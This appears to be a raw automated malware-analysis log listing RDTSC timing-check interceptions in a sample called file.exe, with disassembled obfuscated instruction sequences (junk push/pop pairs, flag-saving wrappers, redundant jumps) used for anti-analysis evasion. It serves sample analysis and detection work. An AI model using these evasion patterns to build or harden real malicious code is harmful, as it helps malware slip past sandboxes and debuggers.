Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270181 second address: 5270187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270187 second address: 527018B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527018B second address: 527018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527018F second address: 527019E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527019E second address: 52701A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52701A2 second address: 52701A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52701A8 second address: 52701BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5930BD337Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52701BB second address: 52701BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52701BF second address: 527025A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5930BD3384h 0x0000000e nop 0x0000000f pushad 0x00000010 mov bl, al 0x00000012 pushfd 0x00000013 jmp 00007F5930BD3383h 0x00000018 and esi, 449EA51Eh 0x0000001e jmp 00007F5930BD3389h 0x00000023 popfd 0x00000024 popad 0x00000025 sub esp, 18h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007F5930BD3383h 0x00000030 pushfd 0x00000031 jmp 00007F5930BD3388h 0x00000036 xor eax, 74FC0D78h 0x0000003c jmp 00007F5930BD337Bh 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527025A second address: 52702DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5930C60402h 0x00000009 and ecx, 1BCBA7D8h 0x0000000f jmp 00007F5930C603FBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F5930C60404h 0x00000020 sub al, 00000038h 0x00000023 jmp 00007F5930C603FBh 0x00000028 popfd 0x00000029 mov edi, ecx 0x0000002b popad 0x0000002c push eax 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F5930C603FBh 0x00000034 xor ax, 7FFEh 0x00000039 jmp 00007F5930C60409h 0x0000003e popfd 0x0000003f push eax 0x00000040 push edx 0x00000041 push esi 0x00000042 pop edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52702DF second address: 5270337 instructions: 0x00000000 rdtsc 0x00000002 call 00007F5930BD337Ah 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 pushfd 0x00000011 jmp 00007F5930BD3388h 0x00000016 adc ax, F158h 0x0000001b jmp 00007F5930BD337Bh 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F5930BD3385h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270337 second address: 5270353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270353 second address: 5270357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270357 second address: 527035B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527035B second address: 5270361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270361 second address: 5270397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60405h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5930C60408h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270397 second address: 527039D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527039D second address: 527045F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5930C603FCh 0x00000009 jmp 00007F5930C60405h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F5930C60400h 0x00000015 sbb ecx, 3A630538h 0x0000001b jmp 00007F5930C603FBh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 xchg eax, edi 0x00000025 jmp 00007F5930C60406h 0x0000002a push eax 0x0000002b jmp 00007F5930C603FBh 0x00000030 xchg eax, edi 0x00000031 pushad 0x00000032 movzx ecx, di 0x00000035 call 00007F5930C60401h 0x0000003a pushfd 0x0000003b jmp 00007F5930C60400h 0x00000040 add si, 8128h 0x00000045 jmp 00007F5930C603FBh 0x0000004a popfd 0x0000004b pop eax 0x0000004c popad 0x0000004d mov eax, dword ptr [75AF4538h] 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F5930C60402h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527045F second address: 52704A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930BD3381h 0x00000008 jmp 00007F5930BD3380h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xor dword ptr [ebp-08h], eax 0x00000013 jmp 00007F5930BD3380h 0x00000018 xor eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5930BD337Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52704A9 second address: 52704F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5930C60401h 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f jmp 00007F5930C60408h 0x00000014 mov dword ptr [esp], eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a call 00007F5930C60403h 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52704F6 second address: 5270560 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5930BD3389h 0x00000008 sub eax, 76D06826h 0x0000000e jmp 00007F5930BD3381h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 lea eax, dword ptr [ebp-10h] 0x0000001a jmp 00007F5930BD337Eh 0x0000001f mov dword ptr fs:[00000000h], eax 0x00000025 jmp 00007F5930BD3380h 0x0000002a mov dword ptr [ebp-18h], esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov dx, 3310h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270560 second address: 5270565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270565 second address: 5270574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5930BD337Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270574 second address: 52705FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000018h] 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F5930C603FAh 0x00000018 jmp 00007F5930C60402h 0x0000001d popad 0x0000001e jmp 00007F5930C60402h 0x00000023 popad 0x00000024 mov ecx, dword ptr [eax+00000FDCh] 0x0000002a jmp 00007F5930C60400h 0x0000002f test ecx, ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F5930C60407h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52705FC second address: 5270641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5930BD337Fh 0x00000009 and esi, 24DD263Eh 0x0000000f jmp 00007F5930BD3389h 0x00000014 popfd 0x00000015 movzx esi, di 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jns 00007F5930BD33F9h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 mov si, di 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270641 second address: 52706AA instructions: 0x00000000 rdtsc 0x00000002 mov edx, 71628076h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F5930C60407h 0x0000000f sub ecx, 06C240FEh 0x00000015 jmp 00007F5930C60409h 0x0000001a popfd 0x0000001b popad 0x0000001c add eax, ecx 0x0000001e pushad 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F5930C603FAh 0x00000026 jmp 00007F5930C60405h 0x0000002b popfd 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526024B second address: 5260251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260251 second address: 5260255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260255 second address: 5260259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260259 second address: 5260332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b pushad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop ecx 0x0000000f jmp 00007F5930C60407h 0x00000014 popad 0x00000015 mov ecx, 0707031Fh 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F5930C60400h 0x00000023 or si, 7C88h 0x00000028 jmp 00007F5930C603FBh 0x0000002d popfd 0x0000002e jmp 00007F5930C60408h 0x00000033 popad 0x00000034 push eax 0x00000035 pushad 0x00000036 push edx 0x00000037 pushfd 0x00000038 jmp 00007F5930C603FCh 0x0000003d and si, D218h 0x00000042 jmp 00007F5930C603FBh 0x00000047 popfd 0x00000048 pop eax 0x00000049 pushfd 0x0000004a jmp 00007F5930C60409h 0x0000004f xor si, 13B6h 0x00000054 jmp 00007F5930C60401h 0x00000059 popfd 0x0000005a popad 0x0000005b xchg eax, ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f jmp 00007F5930C60403h 0x00000064 mov dx, cx 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260332 second address: 5260338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260338 second address: 526033C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526033C second address: 5260371 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5930BD3385h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260371 second address: 52603B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5930C60401h 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx edx, ax 0x00000016 call 00007F5930C60404h 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52603B5 second address: 52603BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52603BB second address: 52603BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52603BF second address: 52603C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260431 second address: 5260435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260435 second address: 5260439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260439 second address: 526043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526043F second address: 52604BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3384h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5930BD352Bh 0x0000000f jmp 00007F5930BD3380h 0x00000014 lea ecx, dword ptr [ebp-14h] 0x00000017 jmp 00007F5930BD3380h 0x0000001c mov dword ptr [ebp-14h], edi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 call 00007F5930BD337Dh 0x00000027 pop eax 0x00000028 pushfd 0x00000029 jmp 00007F5930BD3381h 0x0000002e or al, FFFFFFD6h 0x00000031 jmp 00007F5930BD3381h 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52605BE second address: 5260671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F5930C60405h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e cmp dword ptr [ebp-14h], edi 0x00000011 jmp 00007F5930C60407h 0x00000016 jne 00007F59A149E29Bh 0x0000001c jmp 00007F5930C60406h 0x00000021 mov ebx, dword ptr [ebp+08h] 0x00000024 jmp 00007F5930C60400h 0x00000029 lea eax, dword ptr [ebp-2Ch] 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F5930C603FEh 0x00000033 sub ah, FFFFFF88h 0x00000036 jmp 00007F5930C603FBh 0x0000003b popfd 0x0000003c push eax 0x0000003d push edx 0x0000003e pushfd 0x0000003f jmp 00007F5930C60406h 0x00000044 add cx, 57E8h 0x00000049 jmp 00007F5930C603FBh 0x0000004e popfd 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260671 second address: 5260692 instructions: 0x00000000 rdtsc 0x00000002 mov dl, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5930BD3387h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260692 second address: 52606D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5930C603FCh 0x00000013 add ax, 0FD8h 0x00000018 jmp 00007F5930C603FBh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52606D5 second address: 52606F4 instructions: 0x00000000 rdtsc 0x00000002 mov ax, D6A1h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5930BD3383h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52606F4 second address: 52606F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52606F9 second address: 5260767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, bl 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5930BD3387h 0x0000000f nop 0x00000010 jmp 00007F5930BD3386h 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 call 00007F5930BD337Eh 0x0000001c pushfd 0x0000001d jmp 00007F5930BD3382h 0x00000022 or cl, 00000058h 0x00000025 jmp 00007F5930BD337Bh 0x0000002a popfd 0x0000002b pop eax 0x0000002c push edi 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260767 second address: 5260774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260774 second address: 5260778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260778 second address: 5260795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260795 second address: 52607D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5930BD3387h 0x00000008 pop ecx 0x00000009 call 00007F5930BD3389h 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52607D4 second address: 52607DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250EA9 second address: 5250EEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 49BC65E8h 0x00000008 mov dh, F8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f call 00007F5930BD3389h 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 pop ecx 0x00000017 mov bx, 8860h 0x0000001b popad 0x0000001c xchg eax, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F5930BD3381h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250EEF second address: 5250EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250EF3 second address: 5250EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250F5C second address: 5250F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250F60 second address: 5250F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250F64 second address: 5250F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250F6A second address: 5260B5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b and bl, 00000001h 0x0000000e movzx eax, bl 0x00000011 lea esp, dword ptr [ebp-0Ch] 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 pop ebp 0x00000018 ret 0x00000019 add esp, 04h 0x0000001c jmp dword ptr [00B0A41Ch+ebx*4] 0x00000023 push edi 0x00000024 call 00007F5930BF8D77h 0x00000029 push ebp 0x0000002a push ebx 0x0000002b push edi 0x0000002c push esi 0x0000002d sub esp, 000001D0h 0x00000033 mov dword ptr [esp+000001B4h], 00B0CB10h 0x0000003e mov dword ptr [esp+000001B0h], 000000D0h 0x00000049 mov dword ptr [esp], 00000000h 0x00000050 mov eax, dword ptr [00B081DCh] 0x00000055 call eax 0x00000057 mov edi, edi 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260B5A second address: 5260B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260B5E second address: 5260B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260B64 second address: 5260B8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 621B1571h 0x00000008 mov ax, 97ADh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5930C60402h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260B8A second address: 5260B8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260B8E second address: 5260B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260B94 second address: 5260BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD337Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5930BD337Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260BB7 second address: 5260BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260BBD second address: 5260BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260CA2 second address: 5260CF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5930C603FFh 0x00000009 add ax, 0E2Eh 0x0000000e jmp 00007F5930C60409h 0x00000013 popfd 0x00000014 movzx esi, di 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push FB210EE6h 0x0000001f pushad 0x00000020 mov edx, 41B14BA8h 0x00000025 popad 0x00000026 add dword ptr [esp], 7A8D8D42h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov dh, ah 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260CF5 second address: 5260D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5930BD3387h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260DE5 second address: 5260E16 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 2BBA3A3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov cx, dx 0x0000000c popad 0x0000000d je 00007F59A1483F89h 0x00000013 jmp 00007F5930C603FDh 0x00000018 cmp dword ptr [ebp+08h], 00002000h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 mov bx, 92BCh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528065F second address: 5280664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280664 second address: 528066A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528066A second address: 528066E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528066E second address: 5280672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280672 second address: 5280695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5930BD3388h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280695 second address: 528069B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
